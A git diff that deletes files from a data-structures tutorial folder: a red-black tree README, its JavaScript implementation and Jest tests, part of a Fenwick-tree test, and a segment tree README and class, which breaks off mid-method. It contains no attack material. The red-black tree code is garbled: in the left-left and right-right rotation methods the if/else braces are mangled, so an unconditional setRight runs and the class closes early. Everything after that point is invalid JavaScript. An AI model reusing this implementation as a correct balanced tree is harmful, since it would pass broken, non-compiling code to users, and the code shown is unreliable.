-        const increaseAtInvalidLowIndex = () => {
-            tree.increase(0, 1);
-        };
-        const increaseAtInvalidHighIndex = () => {
-            tree.increase(10, 1);
-        };
-        const queryInvalidLowIndex = () => {
-            tree.query(0);
-        };
-        const queryInvalidHighIndex = () => {
-            tree.query(10);
-        };
-        const rangeQueryInvalidIndex = () => {
-            tree.queryRange(3, 2);
-        };
-        expect(increaseAtInvalidLowIndex).toThrowError();
-        expect(increaseAtInvalidHighIndex).toThrowError();
-        expect(queryInvalidLowIndex).toThrowError();
-        expect(queryInvalidHighIndex).toThrowError();
-        expect(rangeQueryInvalidIndex).toThrowError();
-    });
-});
diff --git a/docs/content/DS_ALGO/data-structures/tree/red-black-tree/README.md b/docs/content/DS_ALGO/data-structures/tree/red-black-tree/README.md
deleted file mode 100644
index 82858d6363..0000000000
--- a/docs/content/DS_ALGO/data-structures/tree/red-black-tree/README.md
+++ /dev/null
@@ -1,94 +0,0 @@
-# Red-Black Tree
-
-A **red-black tree** is a kind of self-balancing binary search
-tree in computer science. Each node of the binary tree has
-an extra bit, and that bit is often interpreted as the
-color (red or black) of the node. These color bits are used
-to ensure the tree remains approximately balanced during
-insertions and deletions.
-
-Balance is preserved by painting each node of the tree with
-one of two colors in a way that satisfies certain properties,
-which collectively constrain how unbalanced the tree can
-become in the worst case. When the tree is modified, the
-new tree is subsequently rearranged and repainted to
-restore the coloring properties. The properties are
-designed in such a way that this rearranging and recoloring
-can be performed efficiently.
-
-The balancing of the tree is not perfect, but it is good
-enough to allow it to guarantee searching in `O(log n)` time,
-where `n` is the total number of elements in the tree.
-The insertion and deletion operations, along with the tree
-rearrangement and recoloring, are also performed
-in `O(log n)` time.
-
-An example of a red-black tree:
-
-![red-black tree](https://upload.wikimedia.org/wikipedia/commons/6/66/Red-black_tree_example.svg)
-
-## Properties
-
-In addition to the requirements imposed on a binary search
-tree the following must be satisfied by a red-black tree:
-
--   Each node is either red or black.
--   The root is black. This rule is sometimes omitted.
-    Since the root can always be changed from red to black,
-    but not necessarily vice versa, this rule has little
-    effect on analysis.
--   All leaves (NIL) are black.
--   If a node is red, then both its children are black.
--   Every path from a given node to any of its descendant
-    NIL nodes contains the same number of black nodes.
-
-Some definitions: the number of black nodes from the root
-to a node is the node's **black depth**; the uniform
-number of black nodes in all paths from root to the leaves
-is called the **black-height** of the red-black tree.
-
-These constraints enforce a critical property of red-black
-trees: _the path from the root to the farthest leaf is no more than twice as long as the path from the root to the nearest leaf_.
-The result is that the tree is roughly height-balanced.
-Since operations such as inserting, deleting, and finding
-values require worst-case time proportional to the height
-of the tree, this theoretical upper bound on the height
-allows red-black trees to be efficient in the worst case,
-unlike ordinary binary search trees.
-
-## Balancing during insertion
-
-### If uncle is RED
-
-![Red Black Tree Balancing](https://www.geeksforgeeks.org/wp-content/uploads/redBlackCase2.png)
-
-### If uncle is BLACK
-
--   Left Left Case (`p` is left child of `g` and `x` is left child of `p`)
--   Left Right Case (`p` is left child of `g` and `x` is right child of `p`)
--   Right Right Case (`p` is right child of `g` and `x` is right child of `p`)
--   Right Left Case (`p` is right child of `g` and `x` is left child of `p`)
-
-#### Left Left Case (See g, p and x)
-
-![Red Black Tree Balancing](https://www.geeksforgeeks.org/wp-content/uploads/redBlackCase3a1.png)
-
-#### Left Right Case (See g, p and x)
-
-![Red Black Tree Balancing](https://www.geeksforgeeks.org/wp-content/uploads/redBlackCase3b.png)
-
-#### Right Right Case (See g, p and x)
-
-![Red Black Tree Balancing](https://www.geeksforgeeks.org/wp-content/uploads/redBlackCase3c.png)
-
-#### Right Left Case (See g, p and x)
-
-![Red Black Tree Balancing](https://www.geeksforgeeks.org/wp-content/uploads/redBlackCase3d.png)
-
-## References
-
--   [Wikipedia](https://en.wikipedia.org/wiki/Red%E2%80%93black_tree)
--   [Red Black Tree Insertion by Tushar Roy (YouTube)](https://www.youtube.com/watch?v=UaLIHuR1t8Q&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8&index=63)
--   [Red Black Tree Deletion by Tushar Roy (YouTube)](https://www.youtube.com/watch?v=CTvfzU_uNKE&t=0s&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8&index=64)
--   [Red Black Tree Insertion on GeeksForGeeks](https://www.geeksforgeeks.org/red-black-tree-set-2-insert/)
--   [Red Black Tree Interactive Visualisations](https://www.cs.usfca.edu/~galles/visualization/RedBlack.html)
diff --git a/docs/content/DS_ALGO/data-structures/tree/red-black-tree/RedBlackTree.js b/docs/content/DS_ALGO/data-structures/tree/red-black-tree/RedBlackTree.js
deleted file mode 100644
index 35705e6242..0000000000
--- a/docs/content/DS_ALGO/data-structures/tree/red-black-tree/RedBlackTree.js
+++ /dev/null
@@ -1,265 +0,0 @@
-import BinarySearchTree from '../binary-search-tree/BinarySearchTree';
-// Possible colors of red-black tree nodes.
-const RED_BLACK_TREE_COLORS = {
-    red: 'red',
-    black: 'black'
-};
-// Color property name in meta information of the nodes.
-const COLOR_PROP_NAME = 'color';
-export default class RedBlackTree extends BinarySearchTree {
-    /**
-     * @param {*} value
-     * @return {BinarySearchTreeNode}
-     */
-    insert(value) {
-        const insertedNode = super.insert(value);
-        // if (!this.root.left && !this.root.right) {
-        if (this.nodeComparator.equal(insertedNode, this.root)) {
-            // Make root to always be black.
-            this.makeNodeBlack(insertedNode);
-        } else {
-            // Make all newly inserted nodes to be red.
-            this.makeNodeRed(insertedNode);
-        }
-        // Check all conditions and balance the node.
-        this.balance(insertedNode);
-        return insertedNode;
-    }
-    /**
-     * @param {*} value
-     * @return {boolean}
-     */
-    remove(value) {
-        throw new Error(`Can't remove ${value}. Remove method is not implemented yet`);
-    }
-    /**
-     * @param {BinarySearchTreeNode} node
-     */
-    balance(node) {
-        // If it is a root node then nothing to balance here.
-        if (this.nodeComparator.equal(node, this.root)) {
-            return;
-        }
-        // If the parent is black then done. Nothing to balance here.
-        if (this.isNodeBlack(node.parent)) {
-            return;
-        }
-        const grandParent = node.parent.parent;
-        if (node.uncle && this.isNodeRed(node.uncle)) {
-            // If node has red uncle then we need to do RECOLORING.
-            // Recolor parent and uncle to black.
-            this.makeNodeBlack(node.uncle);
-            this.makeNodeBlack(node.parent);
-            if (!this.nodeComparator.equal(grandParent, this.root)) {
-                // Recolor grand-parent to red if it is not root.
-                this.makeNodeRed(grandParent);
-            } else {
-                // If grand-parent is black root don't do anything.
-                // Since root already has two black sibling that we've just recolored.
-                return;
-            }
-            // Now do further checking for recolored grand-parent.
-            this.balance(grandParent);
-        } else if (!node.uncle || this.isNodeBlack(node.uncle)) {
-            // If node uncle is black or absent then we need to do ROTATIONS.
-            if (grandParent) {
-                // Grand parent that we will receive after rotations.
-                let newGrandParent;
-                if (this.nodeComparator.equal(grandParent.left, node.parent)) {
-                    // Left case.
-                    if (this.nodeComparator.equal(node.parent.left, node)) {
-                        // Left-left case.
-                        newGrandParent = this.leftLeftRotation(grandParent);
-                    } else {
-                        // Left-right case.
-                        newGrandParent = this.leftRightRotation(grandParent);
-                    }
-                } else {
-                    // Right case.
-                    if (this.nodeComparator.equal(node.parent.right, node)) {
-                        // Right-right case.
-                        newGrandParent = this.rightRightRotation(grandParent);
-                    } else {
-                        // Right-left case.
-                        newGrandParent = this.rightLeftRotation(grandParent);
-                    }
-                }
-                // Set newGrandParent as a root if it doesn't have parent.
-                if (newGrandParent && newGrandParent.parent === null) {
-                    this.root = newGrandParent;
-                    // Recolor root into black.
-                    this.makeNodeBlack(this.root);
-                }
-                // Check if new grand parent don't violate red-black-tree rules.
-                this.balance(newGrandParent);
-            }
-        }
-    }
-    /**
-     * Left Left Case (p is left child of g and x is left child of p)
-     * @param {BinarySearchTreeNode|BinaryTreeNode} grandParentNode
-     * @return {BinarySearchTreeNode}
-     */
-    leftLeftRotation(grandParentNode) {
-        // Memorize the parent of grand-parent node.
-        const grandGrandParent = grandParentNode.parent;
-        // Check what type of sibling is our grandParentNode is (left or right).
-        let grandParentNodeIsLeft;
-        if (grandGrandParent) {
-            grandParentNodeIsLeft = this.nodeComparator.equal(grandGrandParent.left, grandParentNode);
-        }
-        // Memorize grandParentNode's left node.
-        const parentNode = grandParentNode.left;
-        // Memorize parent's right node since we're going to transfer it to
-        // grand parent's left subtree.
-        const parentRightNode = parentNode.right;
-        // Make grandParentNode to be right child of parentNode.
-        parentNode.setRight(grandParentNode);
-        // Move child's right subtree to grandParentNode's left subtree.
-        grandParentNode.setLeft(parentRightNode);
-        // Put parentNode node in place of grandParentNode.
-        if (grandGrandParent) {
-            if (grandParentNodeIsLeft) {
-                grandGrandParent.setLeft(parentNode);
-            } else {}
-            grandGrandParent.setRight(parentNode);
-        }
-    } else {
-        // Make parent node a root
-        parentNode.parent = null;
-    }
-    // Swap colors of grandParentNode and parentNode.
-    this.swapNodeColors(parentNode, grandParentNode);
-    // Return new root node.
-    return parentNode;
-}
-/**
- * Left Right Case (p is left child of g and x is right child of p)
- * @param {BinarySearchTreeNode|BinaryTreeNode} grandParentNode
- * @return {BinarySearchTreeNode}
- */
-leftRightRotation(grandParentNode) {
-    // Memorize left and left-right nodes.
-    const parentNode = grandParentNode.left;
-    const childNode = parentNode.right;
-    // We need to memorize child left node to prevent losing
-    // left child subtree. Later it will be re-assigned to
-    // parent's right sub-tree.
-    const childLeftNode = childNode.left;
-    // Make parentNode to be a left child of childNode node.
-    childNode.setLeft(parentNode);
-    // Move child's left subtree to parent's right subtree.
-    parentNode.setRight(childLeftNode);
-    // Put left-right node in place of left node.
-    grandParentNode.setLeft(childNode);
-    // Now we're ready to do left-left rotation.
-    return this.leftLeftRotation(grandParentNode);
-}
-/**
- * Right Right Case (p is right child of g and x is right child of p)
- * @param {BinarySearchTreeNode|BinaryTreeNode} grandParentNode
- * @return {BinarySearchTreeNode}
- */
-rightRightRotation(grandParentNode) {
-    // Memorize the parent of grand-parent node.
-    const grandGrandParent = grandParentNode.parent;
-    // Check what type of sibling is our grandParentNode is (left or right).
-    let grandParentNodeIsLeft;
-    if (grandGrandParent) {
-        grandParentNodeIsLeft = this.nodeComparator.equal(grandGrandParent.left, grandParentNode);
-    }
-    // Memorize grandParentNode's right node.
-    const parentNode = grandParentNode.right;
-    // Memorize parent's left node since we're going to transfer it to
-    // grand parent's right subtree.
-    const parentLeftNode = parentNode.left;
-    // Make grandParentNode to be left child of parentNode.
-    parentNode.setLeft(grandParentNode);
-    // Transfer all left nodes from parent to right sub-tree of grandparent.
-    grandParentNode.setRight(parentLeftNode);
-    // Put parentNode node in place of grandParentNode.
-    if (grandGrandParent) {
-        if (grandParentNodeIsLeft) {
-            grandGrandParent.setLeft(parentNode);
-        } else {}
-        grandGrandParent.setRight(parentNode);
-    }
-} else {
-    // Make parent node a root.
-    parentNode.parent = null;
-}
-// Swap colors of granParent and parent nodes.
-this.swapNodeColors(parentNode, grandParentNode);
-// Return new root node.
-return parentNode;
-}
-/**
- * Right Left Case (p is right child of g and x is left child of p)
- * @param {BinarySearchTreeNode|BinaryTreeNode} grandParentNode
- * @return {BinarySearchTreeNode}
- */
-rightLeftRotation(grandParentNode) {
-    // Memorize right and right-left nodes.
-    const parentNode = grandParentNode.right;
-    const childNode = parentNode.left;
-    // We need to memorize child right node to prevent losing
-    // right child subtree. Later it will be re-assigned to
-    // parent's left sub-tree.
-    const childRightNode = childNode.right;
-    // Make parentNode to be a right child of childNode.
-    childNode.setRight(parentNode);
-    // Move child's right subtree to parent's left subtree.
-    parentNode.setLeft(childRightNode);
-    // Put childNode node in place of parentNode.
-    grandParentNode.setRight(childNode);
-    // Now we're ready to do right-right rotation.
-    return this.rightRightRotation(grandParentNode);
-}
-/**
- * @param {BinarySearchTreeNode|BinaryTreeNode} node
- * @return {BinarySearchTreeNode}
- */
-makeNodeRed(node) {
-    node.meta.set(COLOR_PROP_NAME, RED_BLACK_TREE_COLORS.red);
-    return node;
-}
-/**
- * @param {BinarySearchTreeNode|BinaryTreeNode} node
- * @return {BinarySearchTreeNode}
- */
-makeNodeBlack(node) {
-    node.meta.set(COLOR_PROP_NAME, RED_BLACK_TREE_COLORS.black);
-    return node;
-}
-/**
- * @param {BinarySearchTreeNode|BinaryTreeNode} node
- * @return {boolean}
- */
-isNodeRed(node) {
-    return node.meta.get(COLOR_PROP_NAME) === RED_BLACK_TREE_COLORS.red;
-}
-/**
- * @param {BinarySearchTreeNode|BinaryTreeNode} node
- * @return {boolean}
- */
-isNodeBlack(node) {
-    return node.meta.get(COLOR_PROP_NAME) === RED_BLACK_TREE_COLORS.black;
-}
-/**
- * @param {BinarySearchTreeNode|BinaryTreeNode} node
- * @return {boolean}
- */
-isNodeColored(node) {
-    return this.isNodeRed(node) || this.isNodeBlack(node);
-}
-/**
- * @param {BinarySearchTreeNode|BinaryTreeNode} firstNode
- * @param {BinarySearchTreeNode|BinaryTreeNode} secondNode
- */
-swapNodeColors(firstNode, secondNode) {
-    const firstColor = firstNode.meta.get(COLOR_PROP_NAME);
-    const secondColor = secondNode.meta.get(COLOR_PROP_NAME);
-    firstNode.meta.set(COLOR_PROP_NAME, secondColor);
-    secondNode.meta.set(COLOR_PROP_NAME, firstColor);
-}
-}
diff --git a/docs/content/DS_ALGO/data-structures/tree/red-black-tree/test/RedBlackTree.test.js b/docs/content/DS_ALGO/data-structures/tree/red-black-tree/test/RedBlackTree.test.js
deleted file mode 100644
index 160e11f7aa..0000000000
--- a/docs/content/DS_ALGO/data-structures/tree/red-black-tree/test/RedBlackTree.test.js
+++ /dev/null
@@ -1,249 +0,0 @@
-import RedBlackTree from '../RedBlackTree';
-describe('RedBlackTree', () => {
-    it('should always color first inserted node as black', () => {
-        const tree = new RedBlackTree();
-        const firstInsertedNode = tree.insert(10);
-        expect(tree.isNodeColored(firstInsertedNode)).toBe(true);
-        expect(tree.isNodeBlack(firstInsertedNode)).toBe(true);
-        expect(tree.isNodeRed(firstInsertedNode)).toBe(false);
-        expect(tree.toString()).toBe('10');
-        expect(tree.root.height).toBe(0);
-    });
-    it('should always color new leaf node as red', () => {
-        const tree = new RedBlackTree();
-        const firstInsertedNode = tree.insert(10);
-        const secondInsertedNode = tree.insert(15);
-        const thirdInsertedNode = tree.insert(5);
-        expect(tree.isNodeBlack(firstInsertedNode)).toBe(true);
-        expect(tree.isNodeRed(secondInsertedNode)).toBe(true);
-        expect(tree.isNodeRed(thirdInsertedNode)).toBe(true);
-        expect(tree.toString()).toBe('5,10,15');
-        expect(tree.root.height).toBe(1);
-    });
-    it('should balance itself', () => {
-        const tree = new RedBlackTree();
-        tree.insert(5);
-        tree.insert(10);
-        tree.insert(15);
-        tree.insert(20);
-        tree.insert(25);
-        tree.insert(30);
-        expect(tree.toString()).toBe('5,10,15,20,25,30');
-        expect(tree.root.height).toBe(3);
-    });
-    it('should balance itself when parent is black', () => {
-        const tree = new RedBlackTree();
-        const node1 = tree.insert(10);
-        expect(tree.isNodeBlack(node1)).toBe(true);
-        const node2 = tree.insert(-10);
-        expect(tree.isNodeBlack(node1)).toBe(true);
-        expect(tree.isNodeRed(node2)).toBe(true);
-        const node3 = tree.insert(20);
-        expect(tree.isNodeBlack(node1)).toBe(true);
-        expect(tree.isNodeRed(node2)).toBe(true);
-        expect(tree.isNodeRed(node3)).toBe(true);
-        const node4 = tree.insert(-20);
-        expect(tree.isNodeBlack(node1)).toBe(true);
-        expect(tree.isNodeBlack(node2)).toBe(true);
-        expect(tree.isNodeBlack(node3)).toBe(true);
-        expect(tree.isNodeRed(node4)).toBe(true);
-        const node5 = tree.insert(25);
-        expect(tree.isNodeBlack(node1)).toBe(true);
-        expect(tree.isNodeBlack(node2)).toBe(true);
-        expect(tree.isNodeBlack(node3)).toBe(true);
-        expect(tree.isNodeRed(node4)).toBe(true);
-        expect(tree.isNodeRed(node5)).toBe(true);
-        const node6 = tree.insert(6);
-        expect(tree.isNodeBlack(node1)).toBe(true);
-        expect(tree.isNodeBlack(node2)).toBe(true);
-        expect(tree.isNodeBlack(node3)).toBe(true);
-        expect(tree.isNodeRed(node4)).toBe(true);
-        expect(tree.isNodeRed(node5)).toBe(true);
-        expect(tree.isNodeRed(node6)).toBe(true);
-        expect(tree.toString()).toBe('-20,-10,6,10,20,25');
-        expect(tree.root.height).toBe(2);
-        const node7 = tree.insert(4);
-        expect(tree.root.left.value).toEqual(node2.value);
-        expect(tree.toString()).toBe('-20,-10,4,6,10,20,25');
-        expect(tree.root.height).toBe(3);
-        expect(tree.isNodeBlack(node1)).toBe(true);
-        expect(tree.isNodeRed(node2)).toBe(true);
-        expect(tree.isNodeBlack(node3)).toBe(true);
-        expect(tree.isNodeBlack(node4)).toBe(true);
-        expect(tree.isNodeBlack(node4)).toBe(true);
-        expect(tree.isNodeRed(node5)).toBe(true);
-        expect(tree.isNodeBlack(node6)).toBe(true);
-        expect(tree.isNodeRed(node7)).toBe(true);
-    });
-    it('should balance itself when uncle is red', () => {
-        const tree = new RedBlackTree();
-        const node1 = tree.insert(10);
-        const node2 = tree.insert(-10);
-        const node3 = tree.insert(20);
-        const node4 = tree.insert(-20);
-        const node5 = tree.insert(6);
-        const node6 = tree.insert(15);
-        const node7 = tree.insert(25);
-        const node8 = tree.insert(2);
-        const node9 = tree.insert(8);
-        expect(tree.toString()).toBe('-20,-10,2,6,8,10,15,20,25');
-        expect(tree.root.height).toBe(3);
-        expect(tree.isNodeBlack(node1)).toBe(true);
-        expect(tree.isNodeRed(node2)).toBe(true);
-        expect(tree.isNodeBlack(node3)).toBe(true);
-        expect(tree.isNodeBlack(node4)).toBe(true);
-        expect(tree.isNodeBlack(node5)).toBe(true);
-        expect(tree.isNodeRed(node6)).toBe(true);
-        expect(tree.isNodeRed(node7)).toBe(true);
-        expect(tree.isNodeRed(node8)).toBe(true);
-        expect(tree.isNodeRed(node9)).toBe(true);
-        const node10 = tree.insert(4);
-        expect(tree.toString()).toBe('-20,-10,2,4,6,8,10,15,20,25');
-        expect(tree.root.height).toBe(3);
-        expect(tree.root.value).toBe(node5.value);
-        expect(tree.isNodeBlack(node5)).toBe(true);
-        expect(tree.isNodeRed(node1)).toBe(true);
-        expect(tree.isNodeRed(node2)).toBe(true);
-        expect(tree.isNodeRed(node10)).toBe(true);
-        expect(tree.isNodeRed(node6)).toBe(true);
-        expect(tree.isNodeRed(node7)).toBe(true);
-        expect(tree.isNodeBlack(node4)).toBe(true);
-        expect(tree.isNodeBlack(node8)).toBe(true);
-        expect(tree.isNodeBlack(node9)).toBe(true);
-        expect(tree.isNodeBlack(node3)).toBe(true);
-    });
-    it('should do left-left rotation', () => {
-        const tree = new RedBlackTree();
-        const node1 = tree.insert(10);
-        const node2 = tree.insert(-10);
-        const node3 = tree.insert(20);
-        const node4 = tree.insert(7);
-        const node5 = tree.insert(15);
-        expect(tree.toString()).toBe('-10,7,10,15,20');
-        expect(tree.root.height).toBe(2);
-        expect(tree.isNodeBlack(node1)).toBe(true);
-        expect(tree.isNodeBlack(node2)).toBe(true);
-        expect(tree.isNodeBlack(node3)).toBe(true);
-        expect(tree.isNodeRed(node4)).toBe(true);
-        expect(tree.isNodeRed(node5)).toBe(true);
-        const node6 = tree.insert(13);
-        expect(tree.toString()).toBe('-10,7,10,13,15,20');
-        expect(tree.root.height).toBe(2);
-        expect(tree.isNodeBlack(node1)).toBe(true);
-        expect(tree.isNodeBlack(node2)).toBe(true);
-        expect(tree.isNodeBlack(node5)).toBe(true);
-        expect(tree.isNodeRed(node4)).toBe(true);
-        expect(tree.isNodeRed(node6)).toBe(true);
-        expect(tree.isNodeRed(node3)).toBe(true);
-    });
-    it('should do left-right rotation', () => {
-        const tree = new RedBlackTree();
-        const node1 = tree.insert(10);
-        const node2 = tree.insert(-10);
-        const node3 = tree.insert(20);
-        const node4 = tree.insert(7);
-        const node5 = tree.insert(15);
-        expect(tree.toString()).toBe('-10,7,10,15,20');
-        expect(tree.root.height).toBe(2);
-        expect(tree.isNodeBlack(node1)).toBe(true);
-        expect(tree.isNodeBlack(node2)).toBe(true);
-        expect(tree.isNodeBlack(node3)).toBe(true);
-        expect(tree.isNodeRed(node4)).toBe(true);
-        expect(tree.isNodeRed(node5)).toBe(true);
-        const node6 = tree.insert(17);
-        expect(tree.toString()).toBe('-10,7,10,15,17,20');
-        expect(tree.root.height).toBe(2);
-        expect(tree.isNodeBlack(node1)).toBe(true);
-        expect(tree.isNodeBlack(node2)).toBe(true);
-        expect(tree.isNodeBlack(node6)).toBe(true);
-        expect(tree.isNodeRed(node4)).toBe(true);
-        expect(tree.isNodeRed(node5)).toBe(true);
-        expect(tree.isNodeRed(node3)).toBe(true);
-    });
-    it('should do recoloring, left-left and left-right rotation', () => {
-        const tree = new RedBlackTree();
-        const node1 = tree.insert(10);
-        const node2 = tree.insert(-10);
-        const node3 = tree.insert(20);
-        const node4 = tree.insert(-20);
-        const node5 = tree.insert(6);
-        const node6 = tree.insert(15);
-        const node7 = tree.insert(30);
-        const node8 = tree.insert(1);
-        const node9 = tree.insert(9);
-        expect(tree.toString()).toBe('-20,-10,1,6,9,10,15,20,30');
-        expect(tree.root.height).toBe(3);
-        expect(tree.isNodeBlack(node1)).toBe(true);
-        expect(tree.isNodeRed(node2)).toBe(true);
-        expect(tree.isNodeBlack(node3)).toBe(true);
-        expect(tree.isNodeBlack(node4)).toBe(true);
-        expect(tree.isNodeBlack(node5)).toBe(true);
-        expect(tree.isNodeRed(node6)).toBe(true);
-        expect(tree.isNodeRed(node7)).toBe(true);
-        expect(tree.isNodeRed(node8)).toBe(true);
-        expect(tree.isNodeRed(node9)).toBe(true);
-        tree.insert(4);
-        expect(tree.toString()).toBe('-20,-10,1,4,6,9,10,15,20,30');
-        expect(tree.root.height).toBe(3);
-    });
-    it('should do right-left rotation', () => {
-        const tree = new RedBlackTree();
-        const node1 = tree.insert(10);
-        const node2 = tree.insert(-10);
-        const node3 = tree.insert(20);
-        const node4 = tree.insert(-20);
-        const node5 = tree.insert(6);
-        const node6 = tree.insert(30);
-        expect(tree.toString()).toBe('-20,-10,6,10,20,30');
-        expect(tree.root.height).toBe(2);
-        expect(tree.isNodeBlack(node1)).toBe(true);
-        expect(tree.isNodeBlack(node2)).toBe(true);
-        expect(tree.isNodeBlack(node3)).toBe(true);
-        expect(tree.isNodeRed(node4)).toBe(true);
-        expect(tree.isNodeRed(node5)).toBe(true);
-        expect(tree.isNodeRed(node6)).toBe(true);
-        const node7 = tree.insert(25);
-        const rightNode = tree.root.right;
-        const rightLeftNode = rightNode.left;
-        const rightRightNode = rightNode.right;
-        expect(rightNode.value).toBe(node7.value);
-        expect(rightLeftNode.value).toBe(node3.value);
-        expect(rightRightNode.value).toBe(node6.value);
-        expect(tree.toString()).toBe('-20,-10,6,10,20,25,30');
-        expect(tree.root.height).toBe(2);
-        expect(tree.isNodeBlack(node1)).toBe(true);
-        expect(tree.isNodeBlack(node2)).toBe(true);
-        expect(tree.isNodeBlack(node7)).toBe(true);
-        expect(tree.isNodeRed(node4)).toBe(true);
-        expect(tree.isNodeRed(node5)).toBe(true);
-        expect(tree.isNodeRed(node3)).toBe(true);
-        expect(tree.isNodeRed(node6)).toBe(true);
-    });
-    it('should do left-left rotation with left grand-parent', () => {
-        const tree = new RedBlackTree();
-        tree.insert(20);
-        tree.insert(15);
-        tree.insert(25);
-        tree.insert(10);
-        tree.insert(5);
-        expect(tree.toString()).toBe('5,10,15,20,25');
-        expect(tree.root.height).toBe(2);
-    });
-    it('should do right-right rotation with left grand-parent', () => {
-        const tree = new RedBlackTree();
-        tree.insert(20);
-        tree.insert(15);
-        tree.insert(25);
-        tree.insert(17);
-        tree.insert(19);
-        expect(tree.toString()).toBe('15,17,19,20,25');
-        expect(tree.root.height).toBe(2);
-    });
-    it('should throw an error when trying to remove node', () => {
-        const removeNodeFromRedBlackTree = () => {
-            const tree = new RedBlackTree();
-            tree.remove(1);
-        };
-        expect(removeNodeFromRedBlackTree).toThrowError();
-    });
-});
diff --git a/docs/content/DS_ALGO/data-structures/tree/segment-tree/README.md b/docs/content/DS_ALGO/data-structures/tree/segment-tree/README.md
deleted file mode 100644
index ebf3c4b068..0000000000
--- a/docs/content/DS_ALGO/data-structures/tree/segment-tree/README.md
+++ /dev/null
@@ -1,50 +0,0 @@
-# Segment Tree
-
-In computer science, a **segment tree** also known as a statistic tree
-is a tree data structure used for storing information about intervals,
-or segments. It allows querying which of the stored segments contain
-a given point. It is, in principle, a static structure; that is,
-it's a structure that cannot be modified once it's built. A similar
-data structure is the interval tree.
-
-A segment tree is a binary tree. The root of the tree represents the
-whole array. The two children of the root represent the
-first and second halves of the array. Similarly, the
-children of each node corresponds to the two halves of
-the array corresponding to the node.
-
-We build the tree bottom up, with the value of each node
-being the "minimum" (or any other function) of its children's values. This will
-take `O(n log n)` time. The number
-of operations done is the height of the tree, which
-is `O(log n)`. To do range queries, each node splits the
-query into two parts, one sub-query for each child.
-If a query contains the whole subarray of a node, we
-can use the precomputed value at the node. Using this
-optimisation, we can prove that only `O(log n)` minimum
-operations are done.
-
-![Min Segment Tree](https://www.geeksforgeeks.org/wp-content/uploads/RangeMinimumQuery.png)
-
-![Sum Segment Tree](https://www.geeksforgeeks.org/wp-content/uploads/segment-tree1.png)
-
-## Application
-
-A segment tree is a data structure designed to perform
-certain array operations efficiently - especially those
-involving range queries.
-
-Applications of the segment tree are in the areas of computational geometry,
-and geographic information systems.
-
-Current implementation of Segment Tree implies that you may
-pass any binary (with two input params) function to it and
-thus you're able to do range query for variety of functions.
-In tests you may find examples of doing `min`, `max` and `sum` range
-queries on SegmentTree.
-
-## References
-
--   [Wikipedia](https://en.wikipedia.org/wiki/Segment_tree)
--   [YouTube](https://www.youtube.com/watch?v=ZBHKZF5w4YU&index=65&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8)
--   [GeeksForGeeks](https://www.geeksforgeeks.org/segment-tree-set-1-sum-of-given-range/)
diff --git a/docs/content/DS_ALGO/data-structures/tree/segment-tree/SegmentTree.js b/docs/content/DS_ALGO/data-structures/tree/segment-tree/SegmentTree.js
deleted file mode 100644
index 03f989d741..0000000000
--- a/docs/content/DS_ALGO/data-structures/tree/segment-tree/SegmentTree.js
+++ /dev/null
@@ -1,127 +0,0 @@
-import isPowerOfTwo from '../../../algorithms/math/is-power-of-two/isPowerOfTwo';
-export default class SegmentTree {
-    /**
-     * @param {number[]} inputArray
-     * @param {function} operation - binary function (i.e. sum, min)
-     * @param {number} operationFallback - operation fallback value (i.e. 0 for sum, Infinity for min)
-     */
-    constructor(inputArray, operation, operationFallback) {
-        this.inputArray = inputArray;
-        this.operation = operation;
-        this.operationFallback = operationFallback;
-        // Init array representation of segment tree.
-        this.segmentTree = this.initSegmentTree(this.inputArray);
-        this.buildSegmentTree();
-    }
-    /**
-     * @param {number[]} inputArray
-     * @return {number[]}
-     */
-    initSegmentTree(inputArray) {
-        let segmentTreeArrayLength;
-        const inputArrayLength = inputArray.length;
-        if (isPowerOfTwo(inputArrayLength)) {
-            // If original array length is a power of two.
-            segmentTreeArrayLength = 2 * inputArrayLength - 1;
-        } else {
-            // If original array length is not a power of two then we need to find
-            // next number that is a power of two and use it to calculate
-            // tree array size. This is happens because we need to fill empty children
-            // in perfect binary tree with nulls.And those nulls need extra space.
-            const currentPower = Math.floor(Math.log2(inputArrayLength));
-            const nextPower = currentPower + 1;
-            const nextPowerOfTwoNumber = 2 ** nextPower;
-            segmentTreeArrayLength = 2 * nextPowerOfTwoNumber - 1;
-        }
-        return new Array(segmentTreeArrayLength).fill(null);
-    }
-    /**
-     * Build segment tree.
-     */
-    buildSegmentTree() {
-        const leftIndex = 0;
-        const rightIndex = this.inputArray.length - 1;
-        const position = 0;
-        this.buildTreeRecursively(leftIndex, rightIndex, position);
-    }
-    /**
-     * Build segment tree recursively.
-     *
-     * @param {number} leftInputIndex
-     * @param {number} rightInputIndex
-     * @param {number} position
-     */
-    buildTreeRecursively(leftInputIndex, rightInputIndex, position) {
-        // If low input index and high input index are equal that would mean
-        // the we have finished splitting and we are already came to the leaf
-        // of the segment tree. We need to copy this leaf value from input
-        // array to segment tree.
-        if (leftInputIndex === rightInputIndex) {
-            this.segmentTree[position] = this.inputArray[leftInputIndex];
-            return;
-        }
-        // Split input array on two halves and process them recursively.
-        const middleIndex = Math.floor((leftInputIndex + rightInputIndex) / 2);
-        // Process left half of the input array.
-        this.buildTreeRecursively(leftInputIndex, middleIndex, this.getLeftChildIndex(position));
-        // Process right half of the input array.
-        this.buildTreeRecursively(middleIndex + 1, rightInputIndex, this.getRightChildIndex(position));
-        // Once every tree leaf is not empty we're able to build tree bottom up using
-        // provided operation function.
-        this.segmentTree[position] = this.operation(this.segmentTree[this.getLeftChildIndex(position)], this.segmentTree[this.getRightChildIndex(position)]);
-    }
-    /**
-     * Do range query on segment tree in context of this.operation function.
-     *
-     * @param {number} queryLeftIndex
-     * @param {number} queryRightIndex
-     * @return {number}
-     */
-    rangeQuery(queryLeftIndex, queryRightIndex) {
-        const leftIndex = 0;
-        const rightIndex = this.inputArray.length - 1;
-        const position = 0;
-        return this.rangeQueryRecursive(queryLeftIndex, queryRightIndex, leftIndex, rightIndex, position);
-    }
-    /**
-     * Do range query on segment tree recursively in context of this.operation function.
-     *
-     * @param {number} queryLeftIndex - left index of the query
-     * @param {number} queryRightIndex - right index of the query
-     * @param {number} leftIndex - left index of input array segment
-     * @param {number} rightIndex - right index of input array segment
-     * @param {number} position - root position in binary tree
-     * @return {number}
-     */
-    rangeQueryRecursive(queryLeftIndex, queryRightIndex, leftIndex, rightIndex, position) {
-        if (queryLeftIndex <= leftIndex && queryRightIndex >= rightIndex) {
-            // Total overlap.
-            return this.segmentTree[position];
-        }
-        if (queryLeftIndex > rightIndex || queryRightIndex < leftIndex) {
-            // No overlap.
